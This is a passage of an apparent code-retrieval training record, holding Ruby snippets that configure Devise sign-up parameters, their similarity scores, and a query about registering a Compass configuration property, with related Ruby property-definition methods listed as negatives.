"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname\n birth_date address type avatar phone_number])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[pseudo email password password_confirmation])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email])\n end",
"def configure_create_parameters\n devise_parameter_sanitizer.for(:sign_up) << :name\n devise_parameter_sanitizer.for(:sign_up) << :is_seller\n end",
"def configure_devise_permitted_parameters\n registration_params = [:userid]\n\n if params[:action] == 'create'\n devise_parameter_sanitizer.for(:sign_up) do\n |u| u.permit(registration_params)\n end\n end\nend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :username])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :first_name << :last_name << :phone_number\n end",
"def extend_fields\n if username.blank?\n # Synthesize a unique username from the email address or fullname\n n = 0\n startname = handle if (startname = email.sub(/@.*/, '')).blank?\n self.username = startname\n until (User.where(username: username).empty?) do\n n += 1\n self.username = startname+n.to_s\n end\n end\n # Provide a random password if none exists already\n self.password = email if password.blank? # (0...8).map { (65 + rand(26)).chr }.join\n self.fullname = \"#{first_name} #{last_name}\" if fullname.blank? && !(first_name.blank? || last_name.blank?)\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:fullname)\n end",
"def configure_permitted_parameters\n\t devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :first_name, :last_name, :about, :occupation, :field, :orientation, :interest, :physical, :free_time, :image, :gender, :birthday)}\n\tend",
"def configure_permitted_parameters\n \t\tdevise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])\n \tend",
"def configure_permitted_parameters\n added_attrs = [:email, :password, :password_confirmation, :name, :description, :age, :gender,\n :favorite_movie, :favorite_food, :favorite_song, :job_title, :hobbies, :school, :social_media_link,\n :snap_chat_name, :allow_male, :allow_female, :allow_other]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :age, :birthday])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :description, :profile_picture])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [\n :username,\n :name,\n :middle_name,\n :last_name\n ])\n end",
"def configure_sign_up\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :avatar])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:firstname, :lastname, :username ])\n devise_parameter_sanitizer.permit(:account_update, keys: [:firstname, :lastname, :username])\n end",
"def configure_permitted_paramaters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :fname, :lname, :avatar, :bio, :street, :city, :state, :country, :lat, :lng])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :dob, :email, :password, :password_confirmation, :phone_number, :role_id])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :middle_initial, :last_name, :username, :type, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:logon, :username, :email, :password, :remember_me) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :fname, :lname, :username, :birthday, :image, :newsletter, :language) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :password, :fname, :lname, :username, :birthday, :image, :description, :phoneNumber, :facebook, :twitter, :googlePlus, :newsletter, :language) }\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :age, :address, :pincode, :phone, :gender, :dob, :position_id])\n end",
"def configure_permitted_parameters\n added_attrs = %i[phone email password_confirmation remember_me]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name, :email, :password,\n :password_confirmation, :phone, :photo, :bio]\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :first_name\n devise_parameter_sanitizer.for(:sign_up) << :last_name\n end",
"def configure_permitted_parameters\n registration_params = [:password , :email, :username, :first_name, :last_name]\n\n if params[:action] == 'create'\n devise_parameter_sanitizer.permit(:sign_up) do\n |u| u.permit(registration_params)\n end\n end\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:mobile, :name])\n end",
"def configure_sign_up_params\n if request.content_type == 'application/json'\n params[:registration].permit(:email, :password, :birth_date, :first_name, :last_name, :user_name)\n else\n params[:user].permit(:email, :password, :birth_date, :first_name, :last_name, :user_name)\n end\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:attribute, :first_name, :last_name, :terms_and_conditions, :profile_image]\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:family_name, :first_name, :family_name_kana, :first_name_kana, :postal_code, :address, :phone_number, :is_deleted])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :name])\n end",
"def configure_sign_up_params\n #devise_parameter_sanitizer.for(:sign_up) << :email, :password, :password_confirmation\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :picture, :bio, :username ) }\n\n devise_parameter_sanitizer.for(:account_update) << :bio\n devise_parameter_sanitizer.for(:account_update) << :role\n devise_parameter_sanitizer.for(:account_update) << :type\n devise_parameter_sanitizer.for(:account_update) << :picture\n devise_parameter_sanitizer.for(:account_update) << :username\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :password, :password_confirmation]) \n devise_parameter_sanitizer.permit(:account_update, keys: [:name, :is_female, :date_of_birth, :email, :password, :password_confirmation, :current_password]) \n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit( :sign_up, keys: [:name, :password, :password_confirmation, :remember_me] )\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :nationality_id ])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) do |u| \n u.permit(:name, :email, :password, :password_confirmation, :phone, :description, :short_description)\n end\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:role, :first_name, :last_name, :company_name, :postal_code, :city, :province, :gender, :birth_date])\n end",
"def configure_params_create\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :password, :password_confirmation, :customer_id, :role_id])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: custom_parameters)\n end",
"def configure_perimitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys:[:fname, :lname, :username, :seller])\n devise_parameter_sanitizer.permit(:account_update, keys:[:fname, :lname, :username, :seller])\n end",
"def configure_permitted_parameters\n added_attrs = [:first_name, :Last_name,:username, :contact_number, :address, :date_of_birth, :gender, :email, :password, :password_confirmation, :remember_me, :user_type]\n devise_parameter_sanitizer.permit :sign_up, keys: added_attrs\n devise_parameter_sanitizer.permit :account_update, keys: added_attrs\n end",
"def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end",
"def create_user_information # for new users. runs last according to rails.\n self.dj_name = name\n self.roles = Role.where(:title => 'noob')\n self.active = true\n set_password\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[email password username name lastname birth_date\n address type document_number document_type_id\n avatar document_face_pic document_back_pic phone_number])\n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.for(:sign_up) << :first_name << :last_name << :office_location << :office_country << :office_city << :company\n \tdevise_parameter_sanitizer.for(:account_update) << :first_name << :last_name << :office_location << :office_country << :office_city << :company\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << [:firstname, :lastname, :ucard, :course, :level]\n devise_parameter_sanitizer.for(:account_update) << [:firstname, :lastname, :ucard, :course, :level]\n\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up).push(:first_name, :last_name)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:registration) do |u|\n u.permit(:first_name, :last_name, :email, :password, :phone, :photo, :bio)\n end\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:password, :password_confirmation, :current_password, :global_email_notifications)\n end\n end",
"def configure_sign_up_params\n params[:registration].permit(:email, :password, :birth_date, :first_name, :last_name, :user_name)\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n end",
"def register_custom_fields(*names)\n names.each do |name|\n custom_fields[name.to_s] = {}\n custom_fields[name.to_s][\"label\"] = name.to_s\n custom_fields[name.to_s][\"value\"] = CUSTOM_DEFAULT_VALUE\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :phone_number, :account])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :company_id, :birthday, :admin])\n end",
"def configure_sign_up_params\n\n devise_parameter_sanitizer.permit(:sign_up, keys: [:prenom, :nom, :email, :password, :password_confirmation])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[attribute full_name])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])\n devise_parameter_sanitizer.permit(:account_update, keys: [:first_name, :last_name])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:fname, :lname, :avatar, :avatar_cache, :bio, :school, :job, :nickname, :grade, :major, :hometown])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[firstname lastname])\n devise_parameter_sanitizer.permit(:account_update, keys: %i[firstname lastname])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :mobile_number, :email, :country, :state,\n :city, :address, :sponsor_id, :dob])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :registration, :course])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:username, :first_name, :last_name,\n :email, :postcode, :city, :rating, :password, :phone_number, :password_confirmation)\n end\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:username, :first_name, :last_name,\n :email, :postcode, :city, :rating, :password, :phone_number, :password_confirmation, :current_password)\n end\n end",
"def call\n add_fields(confirm_registration: true)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:user_name])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:mobile])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:avatar])\n devise_parameter_sanitizer.permit(:account_update, keys: [:user_name])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:nickname, :family_name, :first_name, :kana_family_name, :kana_first_name, :birthday, :postal_code, :prefecture_id, :city, :street_address, :building, :phone_number, :shoe_size])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :profile_photo, :job_type, :username, :email])\n devise_parameter_sanitizer.permit(:sign_in, keys: [:login, :password,:password_confirmation])\n # devise_parameter_sanitizer.permit(:account_update, keys: [:username, :email, :profile_photo, :password, :password_confirmation, :current_password, :mobile_number])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :username\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:email, :password, :password_confirmation, :first_name, :last_name) }\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute, :first_name, :last_name])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:chapter_id, :role_id, :username, :password, :password_confirmation, :email, :phone, :first_name, :last_name_pss, :last_name_now, :gender, :full_time_student, :class_year, :profession, :middle_name]\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :created_at, :updated_at, :telefono, :sucursalt_id, :tipousuariot_id, :activo, :consorciot_id, :sucursalbt, :siglas, :direccion, :ciudadt_id, :provinciat_id, :zonat_id, :vendedor, :contacto, :supervisort_id, :colectort_id, :sociot_id, :gppt_id])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username]) \n devise_parameter_sanitizer.permit(:account_update, keys: [:username])\nend",
"def configure_permitted_parameters\n # For additional fields in app/views/devise/registrations/new.html.erb\n # devise_parameter_sanitizer.permit(:sign_up, keys: [])\n\n # For additional in app/views/devise/registrations/edit.html.erb\n devise_parameter_sanitizer.permit(:account_update, keys: [:first_name, :last_name, :level, :address])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:name, :email, :birth_date, :password])\n end",
"def configure_sign_up_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n devise_parameter_sanitizer.permit(:sign_up, keys: [:email, :password, :password_confirmation, :current_password, :names, :surnames, :area_of_residence_id, :area_of_interest_id])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username])\n end",
"def configure_permitted_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :dob])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :caterer_user])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [\n :name, :current_profession, :years_experience,\n :desired_profession, :desired_location, :work_status\n ]\n end",
"def fetch_details_from_devise\n self.username = 'devise_user'\n self.save\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name])#Permits first & last name for sign_up.\n devise_parameter_sanitizer.permit(:account_update, keys: [:first_name, :last_name])#Permits first & last name for account_update(user profile edit).\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up) {|u| u.permit(:codigo, :cedula, :nombre, :apellido1, :apellido2, :nacionalidad, :activo, :codigo, :email, :password, :password_confirmation)}\n \n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [\n :first_name,\n :last_name,\n :title,\n :about,\n :avatar_image\n ])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :age])\n devise_parameter_sanitizer.permit(:account_update, keys: [:first_name, :last_name, :age])\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name, :role_id]\n devise_parameter_sanitizer.for(:account_update) << [:first_name, :last_name, :role_id]\n end"
] | [
"0.65128386",
"0.6455171",
"0.64283127",
"0.63349026",
"0.63101685",
"0.6307707",
"0.6298371",
"0.6279234",
"0.626926",
"0.6265694",
"0.62482095",
"0.62464464",
"0.62420064",
"0.6212567",
"0.62057674",
"0.61985266",
"0.6183548",
"0.6170937",
"0.615491",
"0.6146501",
"0.6130071",
"0.61295265",
"0.6125455",
"0.61221385",
"0.61153924",
"0.61115444",
"0.6111216",
"0.6104374",
"0.608361",
"0.60795575",
"0.6076624",
"0.60764426",
"0.6073926",
"0.607027",
"0.60681564",
"0.60649985",
"0.60612226",
"0.6056667",
"0.60510355",
"0.60449547",
"0.6044441",
"0.60438895",
"0.60437995",
"0.6040986",
"0.6040403",
"0.60400647",
"0.60375375",
"0.60361874",
"0.60359067",
"0.6032392",
"0.60318923",
"0.60293436",
"0.602852",
"0.6020436",
"0.6019789",
"0.6018045",
"0.60158193",
"0.6014257",
"0.6004484",
"0.59996593",
"0.59985435",
"0.5995641",
"0.5993581",
"0.59929645",
"0.5992173",
"0.5990517",
"0.5989067",
"0.5985853",
"0.59846395",
"0.59726536",
"0.5967266",
"0.5965564",
"0.5960027",
"0.5957787",
"0.5957476",
"0.5956965",
"0.59538335",
"0.59525585",
"0.59483826",
"0.59466475",
"0.59446913",
"0.59365416",
"0.5936344",
"0.59362954",
"0.5935665",
"0.5934646",
"0.5933033",
"0.593279",
"0.59299076",
"0.5925416",
"0.59242743",
"0.5923114",
"0.5921356",
"0.5920177",
"0.59199226",
"0.59188825",
"0.59187734",
"0.59170836",
"0.5913032",
"0.5911222",
"0.5910645"
] | 0.0 | -1 |
Registers a new property in `config.rb`. If you use this method, you should also define two additional methods: comment_for_$name emits a comment against the properly into the configuration file when serialized default_$name provides a default value for the property when one isn't specified in the configuration file | def add_property(name)
Compass::Configuration::ATTRIBUTES.push(name)
inherited_accessor(name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_property(name, default = nil)\n add_property_default(name, default)\n attr_accessor(name)\n end",
"def add_property(name, default = nil)\n self.add_property_default(name, default)\n attr_accessor(name)\n end",
"def define_setting(name, default = nil)\n class_variable_set(\"@@#{name}\", default)\n\n define_class_method \"#{name}=\" do |value|\n class_variable_set(\"@@#{name}\", value)\n end\n\n define_class_method name do\n class_variable_get(\"@@#{name}\")\n end\n end",
"def add_standard_property(key, value, overrides = {})\n # Create it if required.\n @standard_config = get_configuration('standard') unless defined? @standard_config\n @standard_config.add_property(key, value, overrides)\n end",
"def define_fs_property(name, default=0, &block)\n add_property PropertyDefinition.new(name, default, true, &block)\n end",
"def add_standard_properties\n super\n\n @config_manager.add_override_property('run.config_name', self.class.basename)\n end",
"def defProperty(name, defaultValue, description)\n Experiment.defProperty(name, defaultValue, description)\n end",
"def set_property( name, value )\n ( @properties ||= Hash.new )[ name ] = value\n end",
"def set_property(name, value)\n @properties[name] = value\n end",
"def property(name, opts = {})\n define_property name, String, opts\n end",
"def add_property(name = nil, properties = {})\n node_properties = (@hash[:properties] ||= {})\n if ref = properties.delete(:ref)\n top_level_node.add_ref(ref, self, name)\n end\n node_properties[name] = properties\n end",
"def property(name, default=0, &block)\n define_fs_property(name, default, &block)\n end",
"def set_property(name, value)\n Config::Collection.set(name, value)\n end",
"def config_property(name, type, value)\n RubyAem::Resources::ConfigProperty.new(@client, name, type, value)\n end",
"def define_db_property(name, default=0, &block)\n add_property PropertyDefinition.new(name, default, false, &block)\n end",
"def assign_property(name, value); end",
"def add_persistent_property(file, name, value)\n current_config = File.read(file)\n rconfig = JSON.parse(current_config)\n rconfig[name] = value\n File.open(file, 'w') {|f| f.write(JSON.pretty_generate(rconfig))}\n end",
"def method_missing(name, *args, &block)\n if !method_name_info(name).special?\n instance_variable_name = :\"@#{name}\"\n instance_variable_value = config[name]\n instance_variable_set instance_variable_name, instance_variable_value\n \n define_singleton_method name do\n instance_variable_get instance_variable_name\n end\n \n instance_variable_value\n else\n super\n end\n end",
"def add_config(name, config)\n\t\tend",
"def property(name, options = {})\n attr_accessor name\n (@properties ||= {})[name] = options\n end",
"def define_setting(name, default = nil)\n class_variable_set(\"@@#{name}\", default)\n define_class_method \"#{name}=\" do |value|\n class_variable_set(\"@@#{name}\", value)\n end\n define_class_method name do\n class_variable_get(\"@@#{name}\")\n end\n end",
"def define_setter_for(name, property_name: name)\n setter = :\"#{name}=\"\n if !should_define_setter_for?(name, setter)\n define_method(setter) { |value| self.[]=(property_name, value) }\n end\n end",
"def add_property(prop)\n @properties.push(prop)\n end",
"def name=(value); configuration.name = value; end",
"def add_override_property(key, value, overrides = {})\n # Create it if required.\n @override_config = get_configuration('override') unless defined? @override_config\n @override_config.add_property(key, value, overrides)\n end",
"def property(name, default=0, &block)\n define_db_property(name, default, &block)\n end",
"def set_property(property_name, value)\n command(\"set_property\", property_name, value)\n end",
"def property(name, value)\n @resource.set_property name, value\n end",
"def defProperty(name = :mandatory, description = nil, parameter = nil, options = {})\n opts = {:description => description, :cmd => parameter}\n # Map old OMF5 types to OMF6\n options[:type] = 'Numeric' if options[:type] == :integer\n options[:type] = 'String' if options[:type] == :string\n options[:type] = 'Boolean' if options[:type] == :boolean\n opts = opts.merge(options)\n define_parameter(Hash[name,opts])\n end",
"def name=(name)\n @property_name = name.to_s\n end",
"def comment_config(name, options = {})\n # Set the message to be shown in logs\n log :comment, name\n\n file = File.join(Origen.root, 'config', 'application.rb')\n comment_lines(file, /^\\s*config.#{name}\\s*=.*\\n/)\n end",
"def add_single_property(name, *args, **opt)\n type = args.shift || String\n value = make_default(type, **opt)\n add_property(name, value)\n end",
"def set_property(name, value)\n $NEO_LOGGER.debug{\"set property '#{name}'='#{value}'\"} \n old_value = get_property(name)\n\n if value.nil?\n remove_property(name)\n elsif self.class.marshal?(name)\n @internal_node.set_property(name, Marshal.dump(value).to_java_bytes)\n else\n @internal_node.set_property(name, value)\n end\n\n if (name != 'classname') # do not want events on internal properties\n event = PropertyChangedEvent.new(self, name.to_sym, old_value, value)\n self.class.fire_event(event)\n end\n end",
"def set_property(property_name, value)\n object = get()\n object[property_name] = value\n set(object)\n end",
"def add_property(name, value)\n TableProperty.new(name, value).tap do |property|\n @properties[name] = property\n end\n end",
"def define_property(name, options={})\n # check if this property is going to casted\n options[:casted] = !!(options[:cast_as] || options[:type])\n property = CouchRest::Property.new(name, (options.delete(:cast_as) || options.delete(:type)), options)\n create_property_getter(property) \n create_property_setter(property) unless property.read_only == true\n properties << property\n end",
"def add_property(property)\n # Throw error if property is nil\n if property.nil?\n raise StandardError.new(\"Cannot add a nil property\")\n end\n\n # Throw error if property already exists.\n if !@properties[name].nil?\n raise StandardError.new(\"Property already exists: #{property.name}\")\n end\n \n @properties[property.name] = property\n end",
"def link_property(name, cls, &block)\n add_property ProxyProperty.new(name, cls, false, &block)\n end",
"def setting( name, **options, &block )\n\t\tself.log.debug \" adding %s setting to %p\" % [ name, self.target ]\n\t\tself.add_setting_accessors( name, options, &block )\n\t\tself.add_default( name, options )\n\tend",
"def setting(setting_name, setting_value)\n setting_specs << {:name => setting_name.to_s, :value => setting_value.to_s, :config_line => get_config_line(caller)}\n end",
"def method_missing(method, *args, &block)\n if method =~ /=$/\n add_config_variable(method.to_s.gsub(/=$/, ''), *args)\n else\n super\n end\n end",
"def add_preference(name, value); end",
"def add_preference(name, value); end",
"def property(name); end",
"def []=(property_name, value)\n properties[property_name.to_s].value = value\n end",
"def add_property(property)\n @properties ||= []\n @properties << property\n end",
"def setting(name, default_value=nil, default_proc: nil, &block)\n if block_given?\n # Create a nested setting\n setting_config = @settings[name]&.value || ConfigStruct.new(\"#{@name}.#{name}\")\n setting = ConfigValue.new\n setting.value = setting_config\n @settings[name] = setting\n setting_config.instance_eval(&block)\n else\n setting = ConfigValue.new\n setting.default_proc = default_proc\n setting.default_value = default_value\n setting.reset!\n @settings[name] = setting\n end\n end",
"def register_default\n register( configured_default ) if configured_default\n end",
"def property(name, property_class = nil)\n property_coercions[name.to_sym] = property_class\n accessor_name = Contentful::Management::Support.snakify(name)\n define_method accessor_name do\n properties[name.to_sym]\n end\n define_method \"#{accessor_name}=\" do |value|\n properties[name.to_sym] = value\n end\n end",
"def add_default( name, options )\n\t\tdefault_value = options[ :default ]\n\n\t\tself.target.send( \"#{name}=\", default_value )\n\t\tif self.target.respond_to?( :const_defined? )\n\t\t\tdefaults = if self.target.const_defined?( :CONFIG_DEFAULTS, false )\n\t\t\t\t\tself.target.const_get( :CONFIG_DEFAULTS, false )\n\t\t\t\telse\n\t\t\t\t\tself.target.const_set( :CONFIG_DEFAULTS, {} )\n\t\t\t\tend\n\n\t\t\tdefaults.store( name, default_value )\n\t\tend\n\tend",
"def newproperty(name, options = {}, &block)\n raise ArgumentError, 'Expected a string or symbol for property name.' unless name.is_a?(String) || name.is_a?(Symbol)\n raise ArgumentError, 'Expected a hash for the options.' unless options.is_a?(Hash)\n\n name = name.intern\n raise ArgumentError, \"Resource type '#{self.name}' already has a property '#{name}'.\" if @properties.has_key?(name)\n raise ArgumentError, \"Resource type '#{self.name}' already has a parameter '#{name}'.\" if @parameters.has_key?(name)\n\n property = Property.create(name, options)\n property.class_eval(&block) unless block.nil?\n @properties[name] = property\n nil\n end",
"def lazy_register(method_name, comment_class=Method, caller_index=1)\n lazy_registry[method_name.to_sym] = [comment_class, caller_index]\n end",
"def create_property_setter(property)\n property_name = property.name\n class_eval <<-EOS\n def #{property_name}=(value)\n self['#{property_name}'] = value\n cast_property_by_name('#{property_name}')\n end\n EOS\n\n if property.alias\n class_eval <<-EOS\n alias #{property.alias.to_sym}= #{property_name.to_sym}=\n EOS\n end\n end",
"def property(name, options = {})\n _property_options[name] = options\n # @!method [name] a getter for the property\n define_method(name) do\n _register_observer\n if @properties[:id]\n if @changed_properties.has_key?(name)\n @changed_properties[name]\n else\n @properties[name]\n end\n else\n # record has not been fetched or is new and not yet saved\n if @properties[name].nil?\n # TODO move default to initializer?\n if self.class._property_options[name].has_key?(:default)\n self.class._property_options[name][:default]\n elsif self.class._property_options[name].has_key?(:type)\n HyperRecord::DummyValue.new(self.class._property_options[name][:type])\n else\n HyperRecord::DummyValue.new(NilClass)\n end\n else\n @properties[name]\n end\n end\n end\n # @!method [name]= a setter for the property\n # @param value the new value for the property\n define_method(\"#{name}=\") do |value|\n _register_observer\n @changed_properties[name] = value\n end\n end",
"def add_config(name, value, options = {})\n # Set the message to be shown in logs\n message = name.to_s\n if value ||= options.delete(:value)\n message << \" (#{value})\"\n end\n log :insert, message\n\n file = File.join(Origen.root, 'config', 'application.rb')\n value = quote(value) if value.is_a?(String)\n value = \":#{value}\" if value.is_a?(Symbol)\n insert_into_file file, \" config.#{name} = #{value}\\n\\n\", after: /^\\s*class.*\\n/\n end",
"def add_single_property(*args, **opt)\n name = args.shift\n type = args.shift\n value = make_default(name, type, opt)\n add_property(name, value)\n end",
"def set_property(name, data)\n ensure_valid\n prop = self.class.properties[name]\n raise \"No such property #{name}\" if not prop\n property_cache[name] = prop.set(@model, @path, data)\n end",
"def add_property(property)\n (@attributes['properties'] ||=[]) << property\n self\n end",
"def setting_object(name, &block)\n new_config = ConfigStruct.new(\"#{@name}.#{name}\")\n @setting_objects[name] = []\n @setting_templates[name] = new_config\n new_config.instance_eval(&block)\n end",
"def add(config = {})\n config.each do |key, value|\n define_setting key.to_sym, value\n end\n end",
"def custom_powershell_property(name, expression)\n \"@{Name = '#{name}'; Expression = {#{expression}}}\"\n end",
"def define_setting(key, default=nil, description=nil, options={})\n raise \"Setting #{key} doesn't exist\" if @finalized\n raise \"Setting #{key} already defined\" if @settings.key?(key)\n raise 'Setting key must be a Symbol' unless key.is_a? Symbol\n\n @settings[key] = ConfigSetting.new(key, default, description, options)\n end",
"def set_property(name, value)\n # let Resource handle DAV properties\n if name[:ns_href] == DAV_NAMESPACE\n super\n else\n set_custom_props name, value\n end\n end",
"def intersys_property(name)\n Property.new(database, class_name, name.to_s, self)\n end",
"def define_property(property, value)\n define_singleton_method(property) { value }\n\n if value == true || value == false\n define_singleton_method(\"#{property}?\") { value }\n end\n end",
"def set_property(key, value)\n end",
"def method_missing (name, *args)\n @config.has_key?(name.to_s) ? @config[name.to_s] : super\n end",
"def configure_attr(attr, default_value = nil)\n v = instance_variable_get(\"@#{attr}\".to_sym)\n v = default_value if v.nil?\n instance_variable_set(\"@#{attr}\".to_sym, eval_attr(v))\n end",
"def method_missing (name, *args)\n @config.has_key?(name.to_s) ? @config[name.to_s] : super\n end",
"def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def set name, value\n unless @defaults.is_a? Hash\n @defaults = {}\n append('<defaults>', @defaults)\n end\n\n @defaults[name.to_sym] = value\n end",
"def initialize(name, value = nil, description = nil)\n super(\"property.#{name}\")\n @name = name.to_s\n @description = description\n @bindings = Array.new\n @changeListeners = Array.new\n @id = \"ep_#{name}\"\n state = {'id' => @id, 'description' => description}\n TraceState.property(name.to_s, :new, state)\n set(value)\n end",
"def initialize(name, value = nil, description = nil)\n super(\"property.#{name}\")\n @name = name.to_s\n @description = description\n @bindings = Array.new\n @changeListeners = Array.new\n @id = \"ep_#{name}\"\n state = {'id' => @id, 'description' => description}\n TraceState.property(name.to_s, :new, state)\n set(value)\n end",
"def register_attribute(attribute_name, literal_name, options)\n attributes << attribute_name\n attribute_options[attribute_name] = options\n property_map[attribute_name] = literal_name\n nil\n end",
"def option(name, meta_options={})\n config_object_class.configurable(name)\n options << [name, meta_options]\n name\n end",
